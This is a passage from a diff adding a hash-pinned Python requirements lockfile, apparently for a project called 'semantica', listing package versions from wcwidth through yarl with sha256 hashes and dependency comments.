--hash=sha256:8c520725602756229f045b032a1ff33d7ef0f7404189d62f6c2438cb6d8ef6a1 \ + --hash=sha256:8f200104103feb097de4cab8fe4f5dd18a2026934c7dea98c55a2f5fd6d5a33b \ + --hash=sha256:8f70d8b291ef6e88d19b1f297a6905ddb978888d9272b0d05e6f53309856bcfc \ + --hash=sha256:8fa585ede612ee9f9e91b18bebf9ba11b9ae29a4e3a0d0cf6fca3e382133f0d5 \ + --hash=sha256:922c0e019fe68b3ae392965a766b02a71ba1168c932cebc3733cd52c5fe5b377 \ + --hash=sha256:9342472aff9b093c5acd4f6d8f70ae0937964ab56542502bcf5579782da69ae8 \ + --hash=sha256:9649193aa27bd9ff2e80ff29bfaa93085496c7a3a377592823cc58b77ee88add \ + --hash=sha256:9f04b092229ad2c50126dd3c922c8822e51e605993764a33058d4a791ab42281 \ + --hash=sha256:a0f27f01bee51861392bb6b7c4fdb290b27d1eb194e9e28788d68102a0e898d9 \ + --hash=sha256:a16ffe19bf5cf9f5edaa1ad1dd830c5a816e8feec430c522302ab55483a4b994 \ + --hash=sha256:a204794696ffb8f9b10fba6f7cb5216d42f3b2b71860ccac6b6e42f5f10973b0 \ + --hash=sha256:a711b51aec4370d0dcda5b6c09463206f133a5759341d7744b953a7b62e1100e \ + --hash=sha256:a88fc94e647bc4eec523f1caa540258eb71d14278b9daf72fa1e2658a98df0f0 \ + --hash=sha256:ae99b14c5f21e026e0e9d96f40e07d8570ebee6cafd9d8fc318354606daa7a28 \ + --hash=sha256:b0ef001f8c25ad0fa9529f914c1600647ecd0f542d11c19b7894768c67b6acb7 \ + --hash=sha256:b141a4891c995a039cd89e9a49e62df1dc8a559a5d1a6e4c7106d16c12777a55 \ + --hash=sha256:b4e77f6a55f858504069abd35d336a637555c09bca453dde1ee1e5ada8a6a1fb \ + --hash=sha256:b62f042afde2dde21ec1d2c1a74361e804673df86f51e418a999c9acfe671b07 \ + --hash=sha256:b718bf356bbc15e559bd8ef41782b573b8ae0e3f177ab244b440568d7ea02cfb \ + --hash=sha256:b8c8358484d5fa12ef34f05b7f4168eaf1932f408725ff6d023c33ec17bd79d4 \ + --hash=sha256:b974946a10af379d425e2eef5b62f5c6ebeaccf91d45eaad6f5b27ecd4f91aa0 \ + --hash=sha256:b9909cc2b48468b575eefa944919e1fe8a36c5849d5c7c168f80a8c1db69398e \ + --hash=sha256:b9f732dc58b2dbe69e464ccf8fff7a03b0dd0be439da4c0720d3558527d3d6b4 \ + --hash=sha256:bb68bf4df85abebe5efddc53cf2075520f243a59868d9b3973278b23e76962a9 \ + --hash=sha256:bb7e52ecf68ba46d22df23467b87cffeb2146908aa523ebfe803019618cfda06 \ + --hash=sha256:bc13eb17538be00c874699dc0abe4ee2bc8d50bb1166a6b9e175ef3fd7eb8f26 \ + --hash=sha256:c0db965c5f79aa49fe672d297cf1febc5ad149b658594944f49a54a2b96270a7 \ + --hash=sha256:c16cb06dd17d43b9d185094268459eac92c9538356f050e55b54e82cf700e1d4 \ + --hash=sha256:c525543d91961c6955b2636b308569e84a1d1c5f5f2932041ab9ef46422f43e3 \ + --hash=sha256:c5c19526f4e54a00f2666a6c0e9e40d582c09e865055ea7378bf0009aab857b3 \ + --hash=sha256:c995fba777f1ea992f090f9236e9284cf7a5d1a0130dd5a3d82c598cacd76838 \ + --hash=sha256:ca148d73dea36c9763aaa351e4d7a51780ec1584217c45276f4fe8239c768b71 \ + --hash=sha256:cee9d5efd929efdac5f7e58f72b3376f676b64050a91c5b99a7094c5b2317488 \ + --hash=sha256:d158cd89df6053823533e06fb1d73c549133bff5f0396170c0e53d9559340717 \ + --hash=sha256:d20029a60a71a052a24c4db7673bc4de39ab89adbaccbfb5d67987c5d73f424d \ + --hash=sha256:d413349d565dab74297f2a63e84a097936be69bf8f3b3801f27f380e32040f44 \ + --hash=sha256:d4a4b147f5dca2a5d325a06a832fb43f345751adfbc63204aec30e0d9ca965a2 \ + --hash=sha256:d516b3283a758e087841aedb8031549fb41ced08f3db10aa6d2bf32dc042525b \ + --hash=sha256:d73a585accffa5ae39c17264c36ec3166d2fad7000c780f5ef83b2722afb9dd2 \ + --hash=sha256:dbd6c97045dad81227c8d040173da044c1de08de64a5ea8b555da4aee1d5fa22 \ + --hash=sha256:e0618518f282c4ebff60f5e5b1247b6d91bb8b9f4476947563a1e74acc66f3c6 \ + --hash=sha256:e140ed30ebde76796b686e67c182cff10ea2fbab186fafd1560f74bb5a473a6e \ + --hash=sha256:e1cfd51e97e13ff3bd047c140764d277fc9b95b7cb5da59e46a47d167adab310 \ + --hash=sha256:e2ca07fa7d89195ec0865d3d285666286740bfa83d83e5cee204043a31ecc165 \ + --hash=sha256:e53a384f76b631c3ae5334ce6a52f0baa3a911eb94a4eac7f160079868b716d5 \ + --hash=sha256:eb283ee99e21ad6443c8cdb06ac5b34b1308c329cbdf03fa02b445363714c799 \ + --hash=sha256:eb72919d93e3a16fc451d3aa3d4b1698423daca1b382d3d959c9ac51297c12a8 \ + --hash=sha256:ecb47f183a8025b2aa18b546725c3657e542112ae9c0613a2af79b4fa8d04ad7 \ + --hash=sha256:f155b3a1b2a5fc89cdc70d47ee5d54e3b75e88efa34982028a35daef9ba00379 \ + --hash=sha256:f22943b7770483f6ea0721c6b11d022947a98eb0acae14694de034f4d0d38925 \ + --hash=sha256:f28b2725eb8cce327b9b3ab02415c853011dc55c95832fe90de6bc56f5315f72 \ + --hash=sha256:f88af53d6ddaf72179ef613ddc905e6f4785f712b49b80b3bef9f3525e6194b4 \ + --hash=sha256:faea288b6f0ab1902ef08f4ca6de005dccf856c4e0c4f21b8c5fce02d90a1b08 \ + --hash=sha256:fff610d7bb2256a317bb1e96f0d7862c7aa8076733ee5df0fd41bbe76a24a4f4 + # via uvicorn +wcwidth==0.8.2 \ + --hash=sha256:91fbef97204b96a3d4d421609b80340b760cf33e26da123ff243d76b1fda8dda \ + --hash=sha256:d63947694a0539a1d51e01eda7caf800c291020e6cdd7e28ad7b14dd33ad4f85 + # via + # prettytable + # prompt-toolkit +weasel==1.0.0 \ + --hash=sha256:7b129b44c90cc543b760532974ca1e4eb30dad2aa2026f57bdce66354ae610fc \ + --hash=sha256:89518acee027f49d743126c3502d35e6dd14f5768be5c37c9af47c171b6005cc + # via spacy +weaviate-client==4.16.2 \ + --hash=sha256:c236adca30d18667943544ad89fcd9157947af95dfc6de4a8ecf9e7619f1c979 \ + --hash=sha256:eb7107a3221a5ad68d604cafc65195bd925a9709512ea0b6fe0dd212b0678fab + # via semantica (pyproject.toml) +webcolors==25.10.0 \ + --hash=sha256:032c727334856fc0b968f63daa252a1ac93d33db2f5267756623c210e57a4f1d \ + --hash=sha256:62abae86504f66d0f6364c2a8520de4a0c47b80c03fc3a5f1815fedbef7c19bf + # via jsonschema +webencodings==0.5.1 \ + --hash=sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78 \ + --hash=sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923 + # via + # bleach + # tinycss2 +websocket-client==1.9.0 \ + --hash=sha256:9e813624b6eb619999a97dc7958469217c3176312b3a16a4bd1bc7e08a46ec98 \ + --hash=sha256:af248a825037ef591efbf6ed20cc5faa03d3b47b9e5a2230a529eeee1c1fc3ef + # via jupyter-server +websockets==16.1.1 \ + --hash=sha256:01fbdcbac298efe19360b94bc0039c8f746f0220ba570f327577bfee81059175 \ + --hash=sha256:024193f8551a2b0eafbdd160911012c4e6c228c28430c84433253299a9e42d6a \ + --hash=sha256:04fd29a0e2fe9414a95b00e92c67ae51bf900c50c0f8a4b2dafdad621f49ea1d \ + --hash=sha256:056ae37939ed7e9974f364f5864e76e49182622d8f9751ac1903c0d09b013985 \ + --hash=sha256:0f62863e8a00a6d33c3d6566ec0b89f23787b747ffe0c3bc71ec0e76b82c94b1 \ + --hash=sha256:0ffd3031ea8bda8d61762e84220186105ba3b748b3c8da2ae4f7816fac03e573 \ + --hash=sha256:1214e673c404684b9bf7154f5cf43b45025b1a6160fac3a9e438e9c1a97e22cb \ + --hash=sha256:125f22dbefaf1554fea66fc83851490edb284ce4f501d37ffed2752f418332d9 \ + --hash=sha256:130937b167a52af203c8d58e78d67705874e82759862e3b9671a452fec4abc87 \ + --hash=sha256:1427fb4cf0d72f66333e2cacc3ff5f575bf2d7008166ce991a4a470b21d51a22 \ + --hash=sha256:195c978b065fa40910582464f99d6b15c8b314c68e0546549a55ed83f4735328 \ + --hash=sha256:1d27fa8462ad6a1cb36206a3d0640b2333340def181fae11ed7f9adeaa5c0747 \ + --hash=sha256:1db4de4a0e95673f7545d393c49eeb0c2f18ac1ef93073218c79d5cdb2ee75ab \ + --hash=sha256:1f79c89b5eb034d1722938a891916582f8f7f503f58ca22518a63c3f2cd18499 \ + --hash=sha256:23253dd5bcae3f9aaee0a1d30967a8dbd52e5d3cff93a2e5b84df57b77d4750d \ + --hash=sha256:249116b4a76063d930a46391ad56e135c286e4562a18309029fc2c73f4ed4c62 \ + --hash=sha256:29dfa8114c4a620c69591c5973860f768eac29d3fd6904f37f34266cb219c512 \ + --hash=sha256:2a606d9c24035242a3e256e9d5b77ed9cd6bccfcb7cf993e5ca3c0f6f68fb6a7 \ + --hash=sha256:2a636ff1e7a5c4edf71ef0e79adae7f25dba93b4fcbe3dc958733477ffeb0eaf \ + --hash=sha256:2bb5d041a8307d2e18782e7ce777f6fdb1e8c2f5d09291484b18c294b789d9aa \ + --hash=sha256:2e28e602bb13da44fbe518c1781a88e3b9d4c3d48d02c9bad83e546164336f57 \ + --hash=sha256:30bbe120437b5648a77d3519b7024ea09530e0b5b18d3698c5a0ae536fe0cc2e \ + --hash=sha256:34420aaa64440ebd51ac72ca8a45ef4626429438c9b02e633ae412ed43f925d3 \ + --hash=sha256:38565aca3e01ea8734e578fb2118dade0ecb0250533f29e22b8d1a7a196cf4d0 \ + --hash=sha256:387e8e4aa5df2f90b198fa3cad3478822a89cf905b6a6d6c97dc3664689640cc \ + --hash=sha256:39f2a024af5c345ffe8fcf1ee18c049c024c94df393bb09b044a6917c77bde43 \ + --hash=sha256:3df13f73af9b3b38ab1195eb299ecb67a4330c911c97ae04043ff74085728abe \ + --hash=sha256:414e596c75f74e0994084694189d7dc9229fb278e33064d6784b73ffbba3ca31 \ + --hash=sha256:41c8e77f17294c0ac18008a7309b99b34ee72247ef10b6dff4c3f8b5ac29896b \ + --hash=sha256:42290eb6db4ccaca7012656738214f8514082fb6fa40cdeb61bb9a471b52e383 \ + --hash=sha256:42f599f4d48c7e1a3338fdaac3acd075be3b3cf02d4b274f3bf2767aedd3d217 \ + --hash=sha256:43e3a9fdd7cbf7ba6040c31fae0faf84ca1474fef777c4e37912f1540f854499 \ + --hash=sha256:443aefe96b7fdb132e2a70806cca1f2af49bb3f28e47abcd7c2e9dcf4d8fa1b8 \ + --hash=sha256:46dcaa042cd1de6c59e7d9269fa63ff7572b6df40510600b678f0826b3c7af51 \ + --hash=sha256:496af849a472b531f758dbd4d61338f5000538cb1a7b3d20d9d32a264517f509 \ + --hash=sha256:49ae99bdfcae803a885c926bf14f886196e84925395bb3f568fef5c0f0979d7d \ + --hash=sha256:4b57693728576d84ede0a77987ab16881b783d2cd9f1dc180a8fbbc3f79c4428 \ + --hash=sha256:4e3b680b1e0a27457e727a0d572fd81dffa87b6dbf8b228ab57da64f7d85aead \ + --hash=sha256:4e8d01cc3bcae7bbf8167f944aeafefed590fae5693552bba9794a9df68371cc \ + --hash=sha256:5283810d2646741a0d8da2aa733d6aefa0545809afccb2a5d105a26bc45125f1 \ + --hash=sha256:53260c8930da5771cec89439bff99c20c8cb03ddb9588b980697355a83cd4bd3 \ + --hash=sha256:536676848fc5961aca9d20389951f59169508f765637a172403dc5434d722fa0 \ + --hash=sha256:54509b8e92fee4453e152b7558ddef37ce9705a044922f2095a6105e3f80c96f \ + --hash=sha256:56cd5fc4f10a9ea8aa0804bddb7b42506cf9e136046f3b4c27de8fec9e2ecba5 \ + --hash=sha256:5bfd1ac19b1b9986a9c95a82d5e23a391ebb09e12c34d7be6094b86efcc35731 \ + --hash=sha256:5c31aa7e39ee3e8a358573257f1c0bb5c52430d1b637030dd9c8cc2c282926be \ + --hash=sha256:5e3b7d601f6f84156b08cc4a5e541c2b50ad7b36cfc302b657a12477c904a5df \ + --hash=sha256:61922544a0587a13fd3f53e4c0e5e606510c7b0d9d22c8444e5fae22a06b38cb \ + --hash=sha256:6456ff333092d509127d75a638cb411afae8ff17f092635015d1902efec8a293 \ + --hash=sha256:69159730a823dde3ea8d08783e8d47ef135a6d7e8d44eb127e32b321c9db8e3e \ + --hash=sha256:69e52d175a0a7d1e13b4b67ad41c560b7d98e8c6f6126eb0bda496c784faf8c7 \ + --hash=sha256:6aaface73b9c71974c6497366d8b9628357f6c9749e09c4ea3610176c63f2ae3 \ + --hash=sha256:6abbd3e82c731c8e531714466acd5d87b5e88ac3243465337ba71d68e23ae7e3 \ + --hash=sha256:6ff9417c0ada4d0f7d212f928303e5579bdf3ace4c802fa4afabb30995da58c3 \ + --hash=sha256:7421fad442de870a8cbf2287d1cad7e706ece0dbfeba5e911df132cbdc1cb56a \ + --hash=sha256:7883388947767080f094950b342b30d35a2a06b849cd967c422fa0db72b40ea9 \ + --hash=sha256:79eace538c6a97e96d0d03d4f9d314f9677f5ed85a8a984992ffd90b13cb8a56 \ + --hash=sha256:7b1b19636af86a3c7995d4d028dbe376f39b4bf31541146f9c123582a6c94562 \ + --hash=sha256:7dfcad78ea1492ee3a9ec765cb7f51bbc17d477107aaf6b22abf7b2558d1c5a0 \ + --hash=sha256:8087e82f842609734c9b5a1330464f8e94e346ba0e18c832c08bafa4b0d63c15 \ + --hash=sha256:820fb8450edddae3812fd58cbc08e2bf22812cb248ecb5f06dbb82119a56e869 \ + --hash=sha256:8483c2096363120eea8b07c06ae7304d520f686665fffd4811fad423930a65d7 \ + --hash=sha256:84a2cef8deffbd9ab8ee0ea546a2a6a7030c28f44e6cdd4547dbfeb489eb8999 \ + --hash=sha256:86d7f0f8bdb25d2c632b72527325e4776430fd5bc61b9118de4e2b8ddb5f5b01 \ + --hash=sha256:8fe0b50da2d84535fb4f7b4bfa951280f97ce3d558a0443b541166d609e67b57 \ + --hash=sha256:90001d893bc368e302ef168d82130b4e4fdd27b85fa094682df9b667c2d48838 \ + --hash=sha256:9246a0d063cfcbcc85f2359dd6876d681213f4790832272aa16641b4ed5d64d4 \ + --hash=sha256:92b820d345f7a3fc7b8163949ee92df910f290c3fc517b3d5301c78065adafe1 \ + --hash=sha256:952303a7318d4cbe1011400839bb2051c9f84fa0a35923267f5daba34b15d458 \ + --hash=sha256:97fd3a0e8b53efa41970ac1dff3d8cf0d2884cadeb4caaf95db7ad1526926ee3 \ + --hash=sha256:9c1c5705e314449e3308872fe084b8571ce078ee4fc55a98a769bdefe5917392 \ + --hash=sha256:9c9f23004a3d40e89c01a7955d186a6cc83418d93b749701944ce2de3e95a1f3 \ + --hash=sha256:9f63bcef7f4b02b06b35fc01c93b96c43b5e88e1e8868676caacf493d5a31f3a \ + --hash=sha256:a0eadbbf2c30f01efa58e1f110eb6fa293261f6b0b1aa38f7f48707107690af9 \ + --hash=sha256:a28fcbc9b6baf54a2e23f8655f308e4ccc6afdd7266f8fe7954f320dcda0f785 \ + --hash=sha256:a6a61aff018180c9c50b7b0da33bfd29d378af3497429c95006c589a23a11648 \ + --hash=sha256:aabe464bfd13bd25f4821faf111da6fefdc389f870265a53105580e45b0a2e49 \ + --hash=sha256:ab59169ace05dcb49a1d4118f0bde139557adf45091bd85747e36bf5de984dd1 \ + --hash=sha256:b436f6ec4fc3a6b4237c84d3f83170ed2b40bb584222f0ac47a0c8a5921980c7 \ + --hash=sha256:b6b9dadbef0cccd9f4c4ee96b08898afa73e26803bbe0f6aeb5bb12b0074206d \ + --hash=sha256:b852788aa51764e2d8e4cf5493d559326bcae5e38d16ba25ffa322b034df272a \ + --hash=sha256:bae954c382e013d5ea5b190d2830526bfa45ad121c326da0049b8c769f185db6 \ + --hash=sha256:bcce07e23e5769375158f5efdcdafa8d5cd014b93c6683865b840ed65b96f231 \ + --hash=sha256:cc97814dfb786a83b6e2dc2e79351e1b83e6d715647d6887fcabd83026417a00 \ + --hash=sha256:cd2ca96a082a36964aca83e992f72abeb61b7306c1a6cba4c7d06a7b93750cac \ + --hash=sha256:cfb70b4eb56cac4da0a83588f3ad50d46beb0690391082f3d4e2d488c70b68ea \ + --hash=sha256:d0fcf657e9f13ff4b177960ab2200237b12994232dfb6df16f1cfe1d4339f93c \ + --hash=sha256:d14bfb217eb4701e850f1525c9d29d79c44794cdf1c299ead25f39f8c78dea81 \ + --hash=sha256:d57685547e0060cc6fd90ee6a28405d6bd395e525545f13c8d7cd99c78afd79f \ + --hash=sha256:d6bec75c290fe484a8ba4cacdf838501e17c06ecfbbf31eede81a9e431bd7751 \ + --hash=sha256:d9531d9cbeac99af6f038fb1bc351403531f7d634a2c2e10e2f7c854c6ed5b68 \ + --hash=sha256:da4ca1a9d72f9030b3146b8d7022719a9f3d478f61efe6f7dd51d243f61c51b2 \ + --hash=sha256:dab9eb87869da2d6ed3af3f3adf28414baae6ec9d4df355ffc18889132f3436c \ + --hash=sha256:db234eda965dcce15df96bb9709f587cd87d4d52aaf0e80e2f34ec04c7670c57 \ + --hash=sha256:dc0fad4933f427acd5b1cec210f3ea6dce7089e1724e4b9ec6ef47c6c04d1b3b \ + --hash=sha256:dc385593a42e31cd6fb60c19f0ecb015b386603818fc2c6c274fb42bd2bb4165 \ + --hash=sha256:dcc04fedf83effaeb9cce98abc9469bb1b42ef85f03e01c8c1f4438ef7555737 \ + --hash=sha256:e047dc87ef7ca50f4d309bf775ad4a71711c58556d75d7bd0604b2317f43e94b \ + --hash=sha256:e09f753a169951eb4f28c2c774f71069304f66e7277e0f5a2892423599cfa854 \ + --hash=sha256:ed5bb271084b46530ee2ddc0410537a9961152c5ccba2fc98c5276d992ccba87 \ + --hash=sha256:f0aa4aad3b1b69ad3fd85a0fd0952ec64331c762bd77ec51cc814170873890b2 \ + --hash=sha256:f17dbe07eb3ea7f99e4df9b7e0efefe80fbf30d37a8cc4d561a0aed310bc8847 \ + --hash=sha256:f2769a0344a09e9ccf5b3cce538bc75a51b53eff3275d3896310c8552049195d \ + --hash=sha256:f55f0b01956a094c8587146d9558c91937e78789c333860ffaf35931a6e5dbc4 \ + --hash=sha256:f5d497865f05bb222cab7016c6034542e84e5f29f49c6fd3f4939cda7197b5b8 \ + --hash=sha256:f70541f3104339f59f830522d94ebadb1bf47426287381623443d8bb1cdbf33d \ + --hash=sha256:fb9a0a6dc3d1b3986cb88091b6899f0396651e0f74e2c9766ab8d6ffc3842e29 \ + --hash=sha256:fce6c48559c86d1ac3632ccb1bebc7d5442fbe79bd9bb0e40379ee54be2a4051 \ + --hash=sha256:fd46fff7eb62c24804d234f0051c7a8ea81285ad63e0337d3dcf33ca82aee58a + # via + # semantica (pyproject.toml) + # docling-slim + # google-genai + # uvicorn +widgetsnbextension==4.0.15 \ + --hash=sha256:8156704e4346a571d9ce73b84bee86a29906c9abfd7223b7228a28899ccf3366 \ + --hash=sha256:de8610639996f1567952d763a5a41af8af37f2575a41f9852a38f947eb82a3b9 + # via ipywidgets +wrapt==2.3.0 \ + --hash=sha256:0a45ffae742ce91a16e11cb6c7cd71e7f9994f3cbd283b962ab093f5c6dcf525 \ + --hash=sha256:0bb2797048db0956348cb3058c33bc4184614f13231389cfbccc16a5d32780a7 \ + --hash=sha256:0d3fb71e65b001adfc42684522eeccd9c21d8ba679945abc993439567b66e59f \ + --hash=sha256:0db083387d6e75ec0be8173ecbf0e811cf60bae1cc75a815feb104167ea10d4d \ + --hash=sha256:10461884b3014fbfc8eb7d09a93c5f246363e6711d9d881f95eb8c27fdef049f \ + --hash=sha256:1236fa25173ca964c97422470482e9011b9e3c7ed0d75798b40b3da3b0e0e760 \ + --hash=sha256:141ed6211286a9660d8d6702de598b43f0934b4f0eda16393f100a80f501d945 \ + --hash=sha256:1598becd30f8f2777d18564064eb4f4dbe1ab0e05a8f09786d0ef505ac782bf3 \ + --hash=sha256:195b1842b4122fb54e3cd3dd5b2b4aa49302a5a61da901df0481f5c97aedde84 \ + --hash=sha256:1d6159c9b2fefec02314e1332dbbbfaf960e369dfd26bcf7f8b258b5732065b3 \ + --hash=sha256:22cc5c0a717bd4da87018ae0bffd4c19c6fb679d3ff357216ba566ab26c76cab \ + --hash=sha256:242b60c21e30866e6a2fa606c612b47c553fa60c0eaeeeb7797fb842ac0ce609 \ + --hash=sha256:24da48596326ef8e448cfa837b454f638713d3531262375f00e5a9681682fc07 \ + --hash=sha256:261f53870cd4fb2bf38f9f972c56c728fd224cb7c65721307de59d9e7e6741ae \ + --hash=sha256:2935d5454b3f179a29b12cf390ee47246740ba2c3a7545b1b46ba31a5f2a4a0b \ + --hash=sha256:2e49885a62ec4ee854d1b9e6371fda6afd219917225752abf729a3f36d4df9a5 \ + --hash=sha256:379f670f45b7bb8993edd9f6fc36c6cc65edb81cffa0b504be34acb0303fff0a \ + --hash=sha256:3873c3c5ca9f4ef91f693602eca19d1f1e7c410338df82a4ff11d826b5896a8f \ + --hash=sha256:392158c9a7f2ab1b8699418bfc0fe6f83548788c418b27d7bf2019ad3405cebb \ + --hash=sha256:39febbee6d77301d31da6996b152ce52452da7c7ef72aba10c2fa976dff9c295 \ + --hash=sha256:3d1c2c1b808600d2ea808e6360910a60ed5f409a4011655e10f9164ba0a414a6 \ + --hash=sha256:3da470536bf9645143323dd41b32db55c6f4304ad382094c1a1da8a92061e10d \ + --hash=sha256:418f54bb09d1762db02c7009b4051149893af3153a87f92d70356703c11eea02 \ + --hash=sha256:42869085687f0aefd57c0f636c3f9354f8ffb321a8ba9cb52d19beb796e561c5 \ + --hash=sha256:45c9279b373d15649dfa2c2077cb3408ea1a6d3125afbdab9d6b809a66f68e14 \ + --hash=sha256:4fa0df3bff4e7ce45759f33fd39335fe2f60477bb9ecf7b8aa41e7d07ee36a23 \ + --hash=sha256:50f416b74d092bb9f41b424e90dd457f365f7ba4b11de62a23679769a21bd85c \ + --hash=sha256:51a7a4181c1295774812271fbcd7c909df372bc25579d4ed9eb875caaf0ae86f \ + --hash=sha256:54ca1d5573f69b5fe1d74f1f65799c68015e82f685efec9fd8cfa40a094c44d0 \ + --hash=sha256:5ab559e1b2551d23d54db2a0001c6d73bad022a254639561c5f6c382a9d6c2fe \ + --hash=sha256:5ba1e5e08ddc46130e9682b2c249f2d1dd39bda9106ed4bd401b7519f18f41bd \ + --hash=sha256:5d221a6e6ddd302b8397433184e96b59f259f50024b854db1c411a881586b6b8 \ + --hash=sha256:6208f302f110295d64b22a7ac96500c791bf492dce4366e622e4912b077c9687 \ + --hash=sha256:626b69db2021aa01671ec7bbc9740e558522bd44c18cf2ce69bf3d666a014109 \ + --hash=sha256:628f3ba8ec793a5b10a6cd8c6c6b7b55eb552abd1f3bd301336acb74c7a82dfe \ + --hash=sha256:629d73378082c00a8173031f9fb30a3ac6abbc894a5bfdfae71fabc60642d501 \ + --hash=sha256:646d20d413ffcd1b0a2f700076e2d0252d872dcb7754860a73e45a59ea883614 \ + --hash=sha256:67bfe2485f50368c3fcd2275fc1fd100e350d601e0058921a7c82678a465aeab \ + --hash=sha256:681a2d0eefd721998f90642762b8e75c2159ec531b20ad5e437245ea7b06a107 \ + --hash=sha256:69e477046f2237ef0bc6547544ee73008dc764ca26eff44f09e976d221b34d5d \ + --hash=sha256:6db604ef0c67bdb2042ecdfd7b7f037cf09733557ca42360d1018285634f7b98 \ + --hash=sha256:729126e667da34d251b8ebf8a45ef0c5ddadc21542b3d6e1abf4259ece6508df \ + --hash=sha256:73d0b10b64620a2cf4bc3d31775c4d9527e309a5549e4379e3bf71e8d2dc193e \ + --hash=sha256:7ebb274aba688b043429eb1500ff8a76ce0cb8ac0812ca3e301f06247b8722b3 \ + --hash=sha256:8159ec0b0cb7608175eb150de94c19e34f4d47ac655f5ca9baf45df6b688ffd3 \ + --hash=sha256:816877aa749253149f9ecfd2635d4d948ecfa338e1a0311d187b1acb1bb8a3eb \ + --hash=sha256:85de890ff968196e92dd1ae73a9fb8970495e7650a457b1c9ef0ac3dd550bce2 \ + --hash=sha256:8f8a1c6472675956cece9a8f403f43c3594f1681319eed2dd56f60877397c636 \ + --hash=sha256:9045917809c63fdf7abe3a2ceaed3d670b8ee4500ddd9291192d30aeb34467c5 \ + --hash=sha256:932dced0a7b2950ed58a3325536a1dcb7b58e7330af54e8552d2e566b5328b99 \ + --hash=sha256:93513bec052c6cd987f9f580c3df068c8bc4ebae6543736be3ca7ec5959cafcd \ + --hash=sha256:9790ea25190a4e0fe4cdf4eeb868e9d75f8a024a70a5b6bf9c348a3a2b72e731 \ + --hash=sha256:9f5d2aec29dfc76c37e23897dee92766a3fd4f3bff3ae7fc9c6b4bf37d8c1360 \ + --hash=sha256:a65e8db2b4e90c2e7ade931086351c98ef420bf7a94ee08c95ac8a3cbbc43579 \ + --hash=sha256:a6b5984cd65dd639546f0eb4b8eacf1c31cb2fe9fb5c27bffe240987cdb2cf84 \ + --hash=sha256:a6e19531ae33c508cea7d84a7edfda01fa86e51b8d1a93a77712c55e6e469152 \ + --hash=sha256:abc71504669d126d91f89fc0e388c6295d8fbd2439be884f175133fda8aa403c \ + --hash=sha256:ac870cc97b73bb00ac353329e9559a4bebc47c4c86792ed9b23b58c15b6ad838 \ + --hash=sha256:ad71df7a04dd3497e9302e81f4a7c91bd401ea0e15a9df9029527900f94bee43 \ + --hash=sha256:b1e5aa486e269b00ed35e64771c7d0ab8096cfd2643405ca8cd60ebedc099a51 \ + --hash=sha256:b4fc96b159af0a3e0faa72475a69d66292bea72a5bed1e1aca1bffbddc3cb2b0 \ + --hash=sha256:b767a9566f165dd14decf8f4194c6bb0ce3a8420cec213824e05a99400c9260a \ + --hash=sha256:bff9a671bc00709cab5a7f745c592b5671873449db0ee2a569af994f16b29a4d \ + --hash=sha256:c3b476ae63b4a3b4da681aafcb25ff3542d289fbda8b5da7caf76aaffafafdbb \ + --hash=sha256:c4bded758ad6f03b965830944a2f0bc5b2eb3767fe5a7310134315d1a6610e98 \ + --hash=sha256:c8388ba7faf5dbf9ee106bb70d66f257629b1bd98091123e19e8a4553a319199 \ + --hash=sha256:c8858d8ff9822a081e3cc49ae1b3b22f0f789c14001cdac8f94564010d9c9d66 \ + --hash=sha256:c88abcf53daef80e01a75c7530e727fa6e2c1888fe83e3dcdba4c96216a1f5c7 \ + --hash=sha256:cc2cea812e5cb179a796b766747e7d3b21088760d8deb95676d482b8c8e6fa7d \ + --hash=sha256:cd3a2edf0427013736b8127955cec62608c56e53ea47e82812ea32059cda407f \ + --hash=sha256:cdc021cb0b62471d6aac7f2bd92f3b4658073775f9ee7fcd325c511129e7bcc8 \ + --hash=sha256:ce9f398f868d2b3b27aa2ea4de79645ef9077aeeac8dfc2814b0d542c6a2b87f \ + --hash=sha256:d0077f3d65541925fa83002f967b22ad6550d24813ac64cb905f717194128d9c \ + --hash=sha256:d0f7284f88f4833705132d06d3b425a43095c2cbd07c58166aac3ab646ba12a4 \ + --hash=sha256:d2cc64539da63e39ffb9c7ede849b6e8ddaaf7b3876b5cfb04efd85a5f3f4eb6 \ + --hash=sha256:d8c7ed08477429752b8c44991f40ad7838b18332a160698740a6bfbc10d998a2 \ + --hash=sha256:df4ce31150bcd5d9f36f816aac3010ab4f4bf8672ac1d3b0ac7d539ec61c7c02 \ + --hash=sha256:e045ff75d7d94900fc32896ed93c45ce2d2cac28c9dead582ff9a5a49d446e35 \ + --hash=sha256:e2e692bc0d63f881cf7006730a56bd4e0c2fab5dc318466942805d692b166276 \ + --hash=sha256:e31734c5077f29f892b2565eee5106d610278151ad49fc6a9d69a647cd5730e2 \ + --hash=sha256:e3b9eaa742ae7a0aaaaad4ca4b69469d757af2d6e6663ef1dadc47adec0aeb41 \ + --hash=sha256:e3f3d7ec0a51fbfe00d3aef047641ff2c58b25565b4717fc1f90e050be01cba8 \ + --hash=sha256:e5301c35cf75655eb33498f2bd6ae8703ca19940e3167dc9cdf740c712a39c60 \ + --hash=sha256:ea52a0d0f08c584943d5764be0e84efa912c8da23c23e1e285ff2f5641c18fcc \ + --hash=sha256:ed635a9ca4f3a5a2b900c10c69e823373bc00ebc114b459383596d3487da3570 \ + --hash=sha256:fb8e2e6704a1e0b1b989546c69e2688371ef4a07fa5f61bde3eb6211186f5ac1 \ + --hash=sha256:fc648a335d7e01adb3640b25f02fd0ea05886cf04d0af7f4ee902bc7b5e466e8 \ + --hash=sha256:fc82c2ccc8e234c844f5303d9f2984b346dcdd53e94823ce8420d2c75b4b9023 \ + --hash=sha256:fd1f2f557dd3491fe75905e578f4db967393d40d1a8f468edc4d40ac7f2d5944 \ + --hash=sha256:fd85b0aa88efdb189d6ae2f35f4526943a8f091c38599c9c31478241c819e6a1 + # via + # opentelemetry-instrumentation + # smart-open +xlsxwriter==3.2.9 \ + --hash=sha256:254b1c37a368c444eac6e2f867405cc9e461b0ed97a3233b2ac1e574efb4140c \ + --hash=sha256:9a5db42bc5dff014806c58a20b9eae7322a134abb6fce3c92c181bfb275ec5b3 + # via python-pptx +yarl==1.24.5 \ + --hash=sha256:0055afc45e864b92729ac7600e2d102c17bef060647e74bca75fa84d66b9ff36 \ + --hash=sha256:0465ec8cedc2349b97a6b595ace64084a50c6e839eca40aa0626f38b8350e331 \ + --hash=sha256:0ebfaffe1a16cb72141c8e09f18cc76856dbe58639f393a4f2b26e474b96b871 \ + --hash=sha256:16a2f5010280020e90f5330257e6944bc33e73593b136cc5a241e6c1dc292498 \ + 